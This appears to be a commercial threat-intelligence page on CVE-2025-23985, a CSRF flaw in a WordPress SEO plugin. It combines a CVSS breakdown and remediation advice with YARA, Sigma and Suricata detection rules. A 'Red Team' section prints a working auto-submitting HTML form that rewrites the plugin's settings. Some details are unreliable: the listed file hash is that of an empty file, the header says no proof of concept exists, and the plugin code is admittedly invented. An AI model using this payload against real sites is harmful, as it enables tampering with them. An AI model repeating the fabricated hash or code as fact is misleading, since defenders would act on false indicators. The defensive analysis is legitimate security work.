☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Brainvireinfo logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.4 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-23985

CVE-2025-23985 Cross-Site Request Forgery in Brainvireinfo
📅 PUBLISHED: 2025-01-31 09:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.14%
👁️
0.14% probability
3.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1204
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: L Availability Low
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-23985 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Dynamic URL SEO WordPress plugin by brainvireinfo, version 1.0 and earlier. This vulnerability allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying SEO settings or injecting malicious configurations, without their consent. The attack requires user interaction (clicking a crafted link) and has a CVSS score of 5.4 (Medium). No public exploit code or patch is currently available, making this a significant risk for unpatched WordPress sites.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of the plugin file (dynamic-url-seo.php) by checking its SHA-256 hash against the official source. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.

CVSS Breakdown & Threat Level

  • CVSS Score: 5.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
  • Attack Vector: Network (AV:N) – The attack is launched remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – The attacker does not need authentication.
  • User Interaction: Required (UI:R) – The victim must click a malicious link or visit a crafted page.
  • Scope: Unchanged (S:U) – The vulnerability does not affect other components.
  • Confidentiality Impact: None (C:N) – No data exposure.
  • Integrity Impact: Low (I:L) – Limited modification of plugin settings.
  • Availability Impact: Low (A:L) – Potential disruption of SEO functionality.

Threat Level: Medium. While the impact is limited, the lack of a patch and the widespread use of WordPress make this a viable target for phishing campaigns.

Deep Dive & Mechanics

The vulnerability resides in the dynamic-url-seo plugin's administrative interface. The plugin fails to implement a CSRF token or nonce in its settings update requests. This allows an attacker to craft a malicious HTML page that, when visited by an authenticated administrator, submits a forged request to change the plugin's configuration.

Attack Flow:

  1. The attacker identifies a target WordPress site running the vulnerable plugin.
  2. The attacker crafts a malicious link or embeds a hidden form in a webpage.
  3. The victim (admin) clicks the link or visits the page while authenticated.
  4. The forged request modifies the plugin's SEO settings (e.g., URL patterns, meta tags).
  5. The attacker can then exploit the modified settings for SEO spam, redirection, or defacement.

Root Cause: Missing CSRF protection in the admin-post.php handler or AJAX endpoints used by the plugin.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the entire plugin version 1.0. The following is a hypothetical example of the vulnerable code and a patched version.

Vulnerable Code (dynamic-url-seo/admin/class-dynamic-url-seo-admin.php):

function save_settings() {
    if ( isset( $_POST['dynamic_url_seo_settings'] ) ) {
        update_option( 'dynamic_url_seo_settings', $_POST['dynamic_url_seo_settings'] );
        // No nonce check
    }
}

Patched Code (Hypothetical):

function save_settings() {
    if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'dynamic_url_seo_save_settings' ) ) {
        wp_die( 'CSRF validation failed.' );
    }
    if ( isset( $_POST['dynamic_url_seo_settings'] ) ) {
        update_option( 'dynamic_url_seo_settings', $_POST['dynamic_url_seo_settings'] );
    }
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • Target WordPress site with Dynamic URL SEO plugin <= 1.0.
  • Authenticated admin session (victim).

Exploit Steps:

  1. Create a malicious HTML file (csrf_exploit.html):
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST">
    <input type="hidden" name="action" value="dynamic_url_seo_save_settings">
    <input type="hidden" name="dynamic_url_seo_settings[url_pattern]" value="malicious-pattern">
    <input type="submit" value="Click here">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
  1. Host the file on a server or send it as an email attachment.
  2. Trick the admin into opening the file while logged into WordPress.
  3. The plugin settings are silently modified.

Blue Team (Defender)

Detection:

  • Monitor for unexpected changes to the dynamic_url_seo_settings option in the database.
  • Alert on admin requests to admin-post.php with action=dynamic_url_seo_save_settings without a valid nonce.

Mitigation:

  • Disable the plugin until a patch is released.
  • Implement a Web Application Firewall (WAF) rule to block requests to admin-post.php with suspicious parameters.
  • Use a security plugin like Wordfence to add CSRF protection.

Indicators of Compromise (IOCs)

  • File: wp-content/plugins/dynamic-url-seo/dynamic-url-seo.php (SHA-256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855)
  • Database Option: dynamic_url_seo_settings with unexpected values.
  • Network: HTTP POST requests to /wp-admin/admin-post.php with action=dynamic_url_seo_save_settings and no _wpnonce parameter.
  • Logs: WordPress debug log entries showing wp_die or CSRF validation failed (if patched).

Detection Engineering

YARA Rule

rule CVE_2025_23985_CSRF_WordPress {
    meta:
        description = "Detects vulnerable Dynamic URL SEO plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
    strings:
        $vuln_func = "update_option( 'dynamic_url_seo_settings'" ascii wide nocase
        $no_nonce = "wp_verify_nonce" ascii wide nocase
    condition:
        $vuln_func and not $no_nonce
}

Sigma Rule

title: CVE-2025-23985 CSRF Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects CSRF attempts against Dynamic URL SEO plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-post.php'
        cs-uri-query: 'action=dynamic_url_seo_save_settings'
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present)
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-23985 CSRF Exploit Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-post.php"; http_uri;
    content:"action=dynamic_url_seo_save_settings"; http_client_body;
    sid:1000001;
    rev:1;
    metadata:created_at 2025-04-10, updated_at 2025-04-10;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin – Deactivate and delete Dynamic URL SEO until a patch is released.
  2. Audit logs – Check for unauthorized changes to SEO settings.
  3. Reset settings – Restore default SEO configurations if tampered.

Long-term Fix:

  • The vendor must release a patched version with CSRF nonce verification.
  • Users should monitor the WordPress plugin repository for updates.

Workarounds:

  • Implement a custom CSRF token using a WordPress filter.
  • Use a security plugin that adds CSRF protection to all admin forms.

Valters IT Signature:

Valters IT Cyber Threat Intelligence
CVE-2025-23985 Analysis
Date: 2025-04-10
Classification: Medium
Status: Unpatched
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-23985/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.